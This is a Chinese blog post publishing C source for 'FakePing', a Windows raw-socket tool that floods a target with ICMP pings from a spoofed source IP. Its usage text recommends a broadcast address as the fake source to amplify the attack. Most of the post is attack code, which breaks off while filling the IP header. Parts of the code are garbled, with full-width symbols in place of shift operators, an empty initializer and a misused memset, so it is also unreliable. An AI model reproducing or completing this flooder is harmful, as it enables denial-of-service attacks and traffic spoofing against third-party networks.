伪装攻击 IP地址的洪水Ping攻击详解之源码
在以前的文章中,我们已经为大家介绍了IP地址的洪水Ping攻击的整个过程,那么本文,将会与大家分享代码部分。
源码公布如下:
IP地址的洪水Ping攻击的代码比较复杂,但是代码都进行了注释,这样大家就能更容易的理解了。
- typedef struct _IPhdr //定义IP首部
- {
- unsigned char h_verlen; //4位首部长度,4位IP版本号
- unsigned char tos; //8位服务类型TOS
- unsigned short total_len; //16位总长度(字节)
- unsigned short ident; //16位标识
- unsigned short frag_and_flags; //3位标志位
- unsigned char ttl; //8位生存时间 TTL
- unsigned char proto; //8位协议 (TCP, UDP 或其他)
- unsigned short checksum; //16位IP首部校验和
- unsigned int sourceIP; //32位源IP地址
- unsigned int destIP; //32位目的IP地址
- }IP_HEADER;
- // 定义ICMP首部
- typedef struct _ihdr
- {
- BYTE i_type; //8位类型
- BYTE i_code; //8位代码
- USHORT i_cksum; //16位校验和
- USHORT i_id; //识别号(一般用进程号作为识别号)
- USHORT i_seq; //报文序列号
- ULONG timestamp; //时间戳
- }ICMP_HEADER;
- //CheckSum:计算校验和的子函数
- USHORT checksum(USHORT *buffer, int size)
- {
- unsigned long cksum=0;
- while(size >1)
- {
- cksum+=*buffer++;
- size -=sizeof(USHORT);
- }
- if(size )
- {
- cksum += *(UCHAR*)buffer;
- }
- cksum = (cksum 》 16) + (cksum & 0xffff);
- cksum += (cksum 》16);
- return (USHORT)(~cksum);
- }
- //FakePing主函数
- int main(int argc, char **argv)
- {
- int datasize,ErrorCode,counter,flag;
- int TimeOut=2000, SendSEQ=0, PacketSize=32;
- char SendBuf[65535]=;
- WSADATA wsaData;
- SOCKET SockRaw=(SOCKET)NULL;
- struct sockaddr_in DestAddr;
- IP_HEADER IP_header;
- ICMP_HEADER icmp_header;
- char FakeSourceIP[20],DestIP[20];
- //接受命令行参数
- if (argc<3)
- {
- printf("FakePing by Shotgun
- ");
- printf(" This program can do Ping-Flooding from a FakeIP
- ");
- printf(" Using a BroadCast IP as the FakeIP will enhance the effect
- ");
- printf("Email:
- ");
- printf(" Shotgun@Xici.Net
- ");
- printf("HomePage:
- ");
- printf(" http://It.Xici.Net
- ");
- printf(" http://www.Patching.Net
- ");
- printf("USAGE:
- FakePing.exe FakeSourceIP DestinationIP [PacketSize]
- ");
- printf("Example:
- ");
- printf(" FakePing.exe 192.168.15.23 192.168.15.255
- ");
- printf(" FakePing.exe 192.168.15.23 192.168.15.200 6400
- ");
- exit(0);
- }
- strcpy(FakeSourceIP,argv[1]);
- strcpy(DestIP,argv[2]);
- if (argc>3) PacketSize=atoi(argv[3]);
- if (PacketSize>60000)
- {
- printf("Error! Packet size too big, must <60K
- ");
- exit(0);
- }
- printf("Now Fake %s Ping %s using Packet size=%d bytes
- ",
- FakeSourceIP, DestIP, PacketSize);
- printf(" Ctrl+C to Quit
- ");
- //初始化SOCK_RAW
- if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
- {
- fprintf(stderr,"WSAStartup failed: %d
- ",ErrorCode);
- ExitProcess(STATUS_FAILED);
- }
- if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))
- ==INVALID_SOCKET)
- {
- fprintf(stderr,"WSASocket() failed: %d
- ",WSAGetLastError());
- ExitProcess(STATUS_FAILED);
- }
- flag=TRUE;
- //设置IP_HDRINCL以自己填充IP首部
- ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
- if(ErrorCode==SOCKET_ERROR)
- printf("Set IP_HDRINCL Error!
- ");
- __try
- {
- //设置发送超时
- ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
- if (ErrorCode==SOCKET_ERROR)
- {
- fprintf(stderr,"Failed to set send TimeOut: %d
- ",WSAGetLastError());
- __leave;
- }
- memset(DestAddr,0,sizeof(DestAddr));
- DestAddr.sin_family=AF_INET;
- DestAddr.sin_addr.s_addr=inet_addr(DestIP);
- //填充IP首部
- IP_header.h_verlen=(4《4 sizeof(IP_header)/sizeof(unsigned long)); //高四位IP版本号,低
- 四位首部长度
- IP_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节) IP_header.ident=1; //16位标识 IP_header.frag_and_flags=0; //3位标志位 IP_header.ttl=128; //8位生存时间 TTL IP_header.proto=IPPROTO_ICMP;
没有评论:
发表评论